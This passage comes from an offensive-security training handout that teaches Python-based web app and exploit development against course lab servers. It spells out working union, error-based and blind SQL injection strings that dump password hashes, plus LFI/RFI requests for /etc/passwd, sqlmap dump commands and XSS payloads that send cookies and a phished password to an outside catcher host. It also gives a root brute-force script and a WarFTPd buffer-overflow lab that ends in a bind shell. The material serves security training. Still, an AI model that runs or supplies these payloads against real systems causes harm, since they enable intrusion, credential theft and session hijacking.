2766Code
2767---------------------------Type This-----------------------------------
2768
2769import urllib2
2770response = urllib2.urlopen('')
2771html = response.read()
2772----------------------------------------------------------------------
2773NOTE: You can put any website URL that you want in the urllib2.urlopen('')
2774
2775
2776
2777
2778##################################
2779# Day 2 Homework videos to watch #
2780##################################
2781Here is your first set of youtube videos that I'd like for you to watch:
2782https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20)
2783
2784
2785
2786
2787
2788
2789
2790
2791 ###############################################################
2792----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
2793 ###############################################################
2794
2795##################################
2796# Basic: Web Application Testing #
2797##################################
2798
2799Most people are going to tell you reference the OWASP Testing guide.
2800https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
2801
2802I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
2803
2804
2805The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
2806
2807 1. Does the website talk to a DB?
2808 - Look for parameter passing (ex: site.com/page.php?id=4)
2809 - If yes - try SQL Injection
2810
2811 2. Can I or someone else see what I type?
2812 - If yes - try XSS
2813
2814 3. Does the page reference a file?
2815 - If yes - try LFI/RFI
2816
2817Let's start with some manual testing against 45.63.104.73
2818
2819
2820#######################
2821# Attacking PHP/MySQL #
2822#######################
2823
2824Go to LAMP Target homepage
2825http://45.63.104.73/
2826
2827
2828
2829Clicking on the Acer Link:
2830http://45.63.104.73/acre2.php?lap=acer
2831
2832 - Found parameter passing (answer yes to question 1)
2833 - Insert ' to test for SQLI
2834
2835---------------------------Type This-----------------------------------
2836
2837http://45.63.104.73/acre2.php?lap=acer'
2838
2839-----------------------------------------------------------------------
2840
2841Page returns the following error:
2842You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
2843
2844
2845
2846In order to perform union-based sql injection - we must first determine the number of columns in this query.
2847We do this using the ORDER BY
2848
2849---------------------------Type This-----------------------------------
2850
2851http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
2852-----------------------------------------------------------------------
2853
2854Page returns the following error:
2855Unknown column '100' in 'order clause'
2856
2857
2858---------------------------Type This-----------------------------------
2859
2860http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
2861-----------------------------------------------------------------------
2862
2863Page returns the following error:
2864Unknown column '50' in 'order clause'
2865
2866
2867---------------------------Type This-----------------------------------
2868
2869http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
2870-----------------------------------------------------------------------
2871
2872Page returns the following error:
2873Unknown column '25' in 'order clause'
2874
2875
2876---------------------------Type This-----------------------------------
2877
2878http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
2879-----------------------------------------------------------------------
2880
2881Page returns the following error:
2882Unknown column '12' in 'order clause'
2883
2884
2885---------------------------Type This-----------------------------------
2886
2887http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
2888-----------------------------------------------------------------------
2889
2890---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
2891
2892
2893
2894Now we build out the union all select statement with the correct number of columns
2895
2896Reference:
2897http://www.techonthenet.com/sql/union.php
2898
2899
2900---------------------------Type This-----------------------------------
2901
2902http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
2903-----------------------------------------------------------------------
2904
2905
2906
2907Now we negate the parameter value 'acer' by turning into the word 'null':
2908---------------------------Type This-----------------------------------
2909
2910http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
2911-----------------------------------------------------------------------
2912
2913We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
2914
2915
2916Use a cheat sheet for syntax:
2917http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
2918
2919---------------------------Type This-----------------------------------
2920
2921http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
2922
2923http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
2924
2925http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
2926
2927http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
2928
2929
2930http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
2931
2932-----------------------------------------------------------------------
2933
2934
2935########################
2936# Question I get a lot #
2937########################
2938Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
2939
2940Here is a good reference for it:
2941https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
2942
2943Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
2944
2945
2946
2947
2948#########################
2949# File Handling Attacks #
2950#########################
2951
2952Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
2953
2954---------------------------Type This-----------------------------------
2955
2956http://45.63.104.73/showfile.php?filename=about.txt
2957
2958-----------------------------------------------------------------------
2959
2960
2961See if you can read files on the file system:
2962---------------------------Type This-----------------------------------
2963
2964http://45.63.104.73/showfile.php?filename=/etc/passwd
2965-----------------------------------------------------------------------
2966
2967We call this attack a Local File Include or LFI.
2968
2969Now let's find some text out on the internet somewhere:
2970https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
2971
2972
2973Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
2974
2975---------------------------Type This-----------------------------------
2976
2977http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
2978 -----------------------------------------------------------------------
2979
2980#########################################################################################
2981# SQL Injection #
2982# http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
2983#########################################################################################
2984
2985
2986- Another quick way to test for SQLI is to remove the paramter value
2987
2988
2989#############################
2990# Error-Based SQL Injection #
2991#############################
2992---------------------------Type This-----------------------------------
2993
2994http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
2995http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
2996http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
2997http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
2998http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
2999http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
3000http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
3001http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
3002http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
3003
3004-----------------------------------------------------------------------
3005
3006
3007
3008#############################
3009# Union-Based SQL Injection #
3010#############################
3011
3012---------------------------Type This-----------------------------------
3013
3014http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
3015http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
3016http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
3017http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
3018http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
3019http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
3020http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
3021http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
3022http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
3023http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
3024-----------------------------------------------------------------------
3025
3026 We are using a union select statement because we are joining the developer's query with one of our own.
3027 Reference:
3028 http://www.techonthenet.com/sql/union.php
3029 The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
3030 It removes duplicate rows between the various SELECT statements.
3031
3032 Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
3033
3034---------------------------Type This-----------------------------------
3035
3036http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
3037-----------------------------------------------------------------------
3038
3039 Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
3040
3041---------------------------Type This-----------------------------------
3042
3043http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
3044http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
3045http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
3046http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
3047
3048 -----------------------------------------------------------------------
3049
3050
3051
3052
3053- Another way is to see if you can get the backend to perform an arithmetic function
3054
3055---------------------------Type This-----------------------------------
3056
3057http://45.77.162.239/bookdetail.aspx?id=(2)
3058http://45.77.162.239/bookdetail.aspx?id=(4-2)
3059http://45.77.162.239/bookdetail.aspx?id=(4-1)
3060
3061
3062
3063http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
3064http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
3065http://45.77.162.239/bookdetail.aspx?id=1*1
3066http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
3067http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
3068http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
3069http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
3070http://45.77.162.239/bookdetail.aspx?id=2 &0#
3071
3072
3073
3074http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
3075http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
3076http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
3077http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
3078
3079 -----------------------------------------------------------------------
3080
3081
3082###############################
3083# Blind SQL Injection Testing #
3084###############################
3085Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
3086
30873 - Total Characters
3088---------------------------Type This-----------------------------------
3089
3090http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
3091http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
3092http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
3093 -----------------------------------------------------------------------
3094
3095Let's go for a quick check to see if it's DBO
3096
3097---------------------------Type This-----------------------------------
3098
3099http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
3100 -----------------------------------------------------------------------
3101
3102Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
3103
3104 ---------------------------Type This-----------------------------------
3105
3106D - 1st Character
3107http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
3108http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
3109http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
3110http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
3111
3112B - 2nd Character
3113http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3114http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3115
3116O - 3rd Character
3117http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3118http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
3119http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3120http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3121http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
3122http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
3123http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3124
3125 -----------------------------------------------------------------------
3126
3127
3128
3129
3130 ##########
3131# Sqlmap #
3132##########
3133If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
3134
3135 ---------------------------Type This-----------------------------------
3136
3137cd /home/strategicsec/toolz/sqlmap-dev/
3138python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
3139python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
3140python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
3141python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
3142python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
3143python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
3144python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
3145python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
3146python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
3147python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
3148
3149 -----------------------------------------------------------------------
3150
3151###############################################################################
3152# What is XSS #
3153# http://45.63.104.73/2-Intro_To_XSS.pptx #
3154###############################################################################
3155
3156OK - what is Cross Site Scripting (XSS)
3157
31581. Use Firefox to browse to the following location:
3159---------------------------Type This-----------------------------------
3160
3161 http://45.63.104.73/xss_practice/
3162 -----------------------------------------------------------------------
3163
3164 A really simple search page that is vulnerable should come up.
3165
3166
3167
3168
31692. In the search box type:
3170---------------------------Type This-----------------------------------
3171
3172 <script>alert('So this is XSS')</script>
3173-----------------------------------------------------------------------
3174
3175
3176 This should pop-up an alert window with your message in it proving XSS is in fact possible.
3177 Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
3178
3179
31803. In the search box type:
3181---------------------------Type This-----------------------------------
3182
3183 <script>alert(document.cookie)</script>
3184-----------------------------------------------------------------------
3185
3186
3187 This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
3188 Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
3189
31904. Now replace that alert script with:
3191---------------------------Type This-----------------------------------
3192
3193 <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
3194-----------------------------------------------------------------------
3195
3196
3197This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
3198
3199
32005. Now view the stolen cookie at:
3201---------------------------Type This-----------------------------------
3202
3203 http://45.63.104.73/xss_practice/cookie_stealer_logs.html
3204-----------------------------------------------------------------------
3205
3206
3207The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
3208
3209
3210
3211
3212
3213
3214############################
3215# A Better Way To Demo XSS #
3216############################
3217
3218
3219Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
3220
3221
3222Use Firefox to browse to the following location:
3223---------------------------Type This-----------------------------------
3224
3225 http://45.63.104.73/xss_practice/
3226-----------------------------------------------------------------------
3227
3228
3229
3230Paste this in the search box
3231----------------------------
3232
3233
3234---------------------------Type This-----------------------------------
3235
3236<script>
3237password=prompt('Your session is expired. Please enter your password to continue',' ');
3238document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
3239</script>
3240-----------------------------------------------------------------------
3241
3242
3243Now view the stolen cookie at:
3244---------------------------Type This-----------------------------------
3245
3246 http://45.63.104.73/xss_practice/passwords.html
3247
3248-----------------------------------------------------------------------
3249
3250
3251#################################################
3252# Lesson 25: Python Functions & String Handling #
3253#################################################
3254
3255Python can make use of functions:
3256http://www.tutorialspoint.com/python/python_functions.htm
3257
3258
3259
3260Python can interact with the 'crypt' function used to create Unix passwords:
3261http://docs.python.org/2/library/crypt.html
3262
3263
3264
3265Tonight we will see a lot of the split() method so be sure to keep the following references close by:
3266http://www.tutorialspoint.com/python/string_split.htm
3267
3268
3269Tonight we will see a lot of slicing so be sure to keep the following references close by:
3270http://techearth.net/python/index.php5?title=Python:Basics:Slices
3271
3272
3273---------------------------Type This-----------------------------------
3274vi LFI-RFI.py
3275
3276
3277---------------------------Paste This-----------------------------------
3278
3279
3280#!/usr/bin/env python
3281print "\n### PHP LFI/RFI Detector ###"
3282
3283import urllib2,re,sys
3284
3285TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
3286RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
3287TravLimit = 12
3288
3289print "==> Testing for LFI vulns.."
3290TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
3291for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
3292 TARGET += "../"
3293 try:
3294 source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
3295 except urllib2.URLError, e:
3296 print "$$$ We had an Error:",e
3297 sys.exit(0)
3298 if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
3299 print "!! ==> LFI Found:",TARGET+"etc/passwd"
3300 break ## BREAK LOOP WHEN VULN FOUND
3301
3302print "\n==> Testing for RFI vulns.."
3303TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
3304try:
3305 source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
3306except urllib2.URLError, e:
3307 print "$$$ We had an Error:",e
3308 sys.exit(0)
3309if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
3310 print "!! => RFI Found:",TARGET
3311
3312print "\nScan Complete\n" ## DONE
3313
3314
3315
3316-----------------------------------------------------------------------
3317
3318
3319################################
3320# Lesson 26: Password Cracking #
3321################################
3322
3323---------------------------Type This-----------------------------------
3324
3325wget http://45.63.104.73/htcrack.py
3326
3327vi htcrack.py
3328
3329vi list.txt
3330
3331---------------------------Paste This-----------------------------------
3332
3333hello
3334goodbye
3335red
3336blue
3337yourname
3338tim
3339bob
3340
3341-----------------------------------------------------------------------
3342
3343---------------------------Type This-----------------------------------
3344
3345htpasswd -nd yourname
3346 - enter yourname as the password
3347
3348
3349
3350python htcrack.py joe:7XsJIbCFzqg/o list.txt
3351
3352
3353
3354
3355sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
3356
3357rm -rf mechanize-0.2.5.tar.gz
3358
3359sudo /bin/bash
3360
3361passwd
3362 ***set root password***
3363
3364
3365
3366---------------------------Type This-----------------------------------
3367
3368vi rootbrute.py
3369
3370---------------------------Paste This-----------------------------------
3371
3372#!/usr/bin/env python
3373
3374import sys
3375try:
3376 import pexpect
3377except(ImportError):
3378 print "\nYou need the pexpect module."
3379 print "http://www.noah.org/wiki/Pexpect\n"
3380 sys.exit(1)
3381
3382#Change this if needed.
3383# LOGIN_ERROR = 'su: incorrect password'
3384LOGIN_ERROR = "su: Authentication failure"
3385
3386def brute(word):
3387 print "Trying:",word
3388 child = pexpect.spawn('/bin/su')
3389 child.expect('Password: ')
3390 child.sendline(word)
3391 i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
3392 if i == 1:
3393 print "Incorrect Password"
3394
3395 if i == 2:
3396 print "\n\t[!] Root Password:" ,word
3397 child.sendline ('id')
3398 print child.before
3399 child.interact()
3400
3401if len(sys.argv) != 2:
3402 print "\nUsage : ./rootbrute.py <wordlist>"
3403 print "Eg: ./rootbrute.py words.txt\n"
3404 sys.exit(1)
3405
3406try:
3407 words = open(sys.argv[1], "r").readlines()
3408except(IOError):
3409 print "\nError: Check your wordlist path\n"
3410 sys.exit(1)
3411
3412print "\n[+] Loaded:",len(words),"words"
3413print "[+] BruteForcing...\n"
3414for word in words:
3415 brute(word.replace("\n",""))
3416
3417
3418-----------------------------------------------------------------------
3419
3420
3421References you might find helpful:
3422http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
3423
3424
3425
3426
3427
3428
3429
3430---------------------------Type This-----------------------------------
3431
3432
3433wget http://45.63.104.73/md5crack.py
3434
3435vi md5crack.py
3436
3437
3438-----------------------------------------------------------------------
3439
3440
3441
3442
3443Why use hexdigest
3444http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
3445
3446
3447
3448
3449http://md5online.net/
3450
3451
3452
3453
3454
3455---------------------------Type This-----------------------------------
3456
3457
3458wget http://45.63.104.73/wpbruteforcer.py
3459
3460
3461-----------------------------------------------------------------------
3462
3463
3464
3465#############
3466# Functions #
3467#############
3468
3469
3470***********************
3471* What are Functions? *
3472***********************
3473
3474
3475Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
3476
3477How do you write functions in Python?
3478
3479Python makes use of blocks.
3480
3481A block is a area of code of written in the format of:
3482
3483 block_head:
3484
3485 1st block line
3486
3487 2nd block line
3488
3489 ...
3490
3491
3492Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
3493
3494Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
3495
3496def my_function():
3497 print("Hello From My Function!")
3498
3499
3500Functions may also receive arguments (variables passed from the caller to the function). For example:
3501
3502def my_function_with_args(username, greeting):
3503 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
3504
3505
3506Functions may return a value to the caller, using the keyword- 'return' . For example:
3507
3508def sum_two_numbers(a, b):
3509 return a + b
3510
3511
3512****************************************
3513* How do you call functions in Python? *
3514****************************************
3515
3516Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
3517
3518# Define our 3 functions
3519---------------------------Paste This-----------------------------------
3520
3521def my_function():
3522 print("Hello From My Function!")
3523
3524def my_function_with_args(username, greeting):
3525 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
3526
3527def sum_two_numbers(a, b):
3528 return a + b
3529
3530# print(a simple greeting)
3531my_function()
3532
3533#prints - "Hello, Joe, From My Function!, I wish you a great year!"
3534my_function_with_args("Joe", "a great year!")
3535
3536# after this line x will hold the value 3!
3537x = sum_two_numbers(1,2)
3538-----------------------------------------------------------------------
3539
3540
3541************
3542* Exercise *
3543************
3544
3545In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
3546
3547Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
3548
3549Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
3550
3551Run and see all the functions work together!
3552
3553
3554---------------------------Paste This-----------------------------------
3555
3556# Modify this function to return a list of strings as defined above
3557def list_benefits():
3558 pass
3559
3560# Modify this function to concatenate to each benefit - " is a benefit of functions!"
3561def build_sentence(benefit):
3562 pass
3563
3564def name_the_benefits_of_functions():
3565 list_of_benefits = list_benefits()
3566 for benefit in list_of_benefits:
3567 print(build_sentence(benefit))
3568
3569name_the_benefits_of_functions()
3570
3571
3572-----------------------------------------------------------------------
3573
3574
3575
3576
3577Please download this file to your Windows host machine, and extract it to your Desktop.
3578http://45.63.104.73/ED-Workshop-Files.zip
3579
3580
3581
3582
3583
3584###########################
3585# Lab 1a: Stack Overflows #
3586###########################
3587
3588 #############################
3589 # Start WarFTPd #
3590 # Start WinDBG #
3591 # Press F6 #
3592 # Attach to war-ftpd.exe #
3593 #############################
3594---------------------------Type This-----------------------------------
3595
3596cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
3597
3598
3599python warftpd1.py | nc XPSP3-ED-Target-IP 21
3600
3601
3602 At WINDBG prompt
3603 “r†to show registers or “alt+4â€
3604 dd esp
3605
3606-----------------------------------------------------------------------
3607---------------------------Type This-----------------------------------
3608
3609python warftpd2.py | nc XPSP3-ED-Target-IP 21
3610
3611
3612 At WINDBG prompt
3613 “r†to show registers or “alt+4â€
3614 dd esp
3615-----------------------------------------------------------------------
3616
3617 Eip: 32714131
3618 esp: affd58 (71413471)
3619
3620 Now we need to SSH into the StrategicSec Ubuntu host
3621 ---------------------------Type This-----------------------------------
3622
3623 cd /home/strategicsec/toolz/metasploit/tools/exploit
3624
3625 ruby pattern_offset.rb 32714131
3626 485
3627
3628 ruby pattern_offset.rb 71413471
3629 493
3630-----------------------------------------------------------------------
3631
3632 Distance to EIP is: 485
3633 Relative position of ESP is: 493
3634
3635 RET – POP EIP
3636 RET 4 – POP EIP and shift ESP down by 4 bytes
3637 ---------------------------Type This-----------------------------------
3638
3639 cd /home/strategicsec/toolz/metasploit/
3640 ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
3641 -----------------------------------------------------------------------
3642
3643 0x7c9c167d push esp; retn 0x304d
3644 0x7c9d30d7 jmp esp < - how about we use this one
3645 0x7c9d30eb jmp esp
3646 0x7c9d30ff jmp esp
3647
3648
3649 warftpd3.py with Notepad++
3650 Fill in the appropriate values
3651 Distance to EIP
3652 Address of JMP ESP
3653
3654
3655 ---------------------------Type This-----------------------------------
3656
3657python warftpd3.py | nc XPSP3-ED-Target-IP 21
3658
3659 0:003> dd eip
3660 0:003> dd esp
3661
3662 -----------------------------------------------------------------------
3663
3664
3665
3666
3667 Mention bad characters
3668 No debugger
3669
3670 ---------------------------Type This-----------------------------------
3671
3672
3673python warftpd4.py | nc XPSP3-ED-Target-IP 21
3674
3675nc XPSP3-ED-Target-IP 4444
3676
3677 -----------------------------------------------------------------------
3678
3679
3680
3681
3682There are 2 things that can go wrong with shellcode. The first thing is a lack of space, and the second is bad characters.
3683
3684Shellcode test 1: Calculate space for shellcode
3685Look in the warftpd3.py script for the shellcode variable. Change the length of the shellcode being send to test how much you can send before the CCs truncate.
3686
3687
3688
3689
3690
3691Shellcode test 2: Identify bad characters
3692
3693Replace the INT3 (cc) dummy shellcode with this string:
3694 ---------------------------Type This-----------------------------------
3695
3696"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
3697
3698 -----------------------------------------------------------------------
3699
3700Send this new shellcode string and identify the places where it truncates - these are the bad characters
3701
3702
3703
3704
3705Here is what the string looks like after I manually tested and removed each of the bad characters:
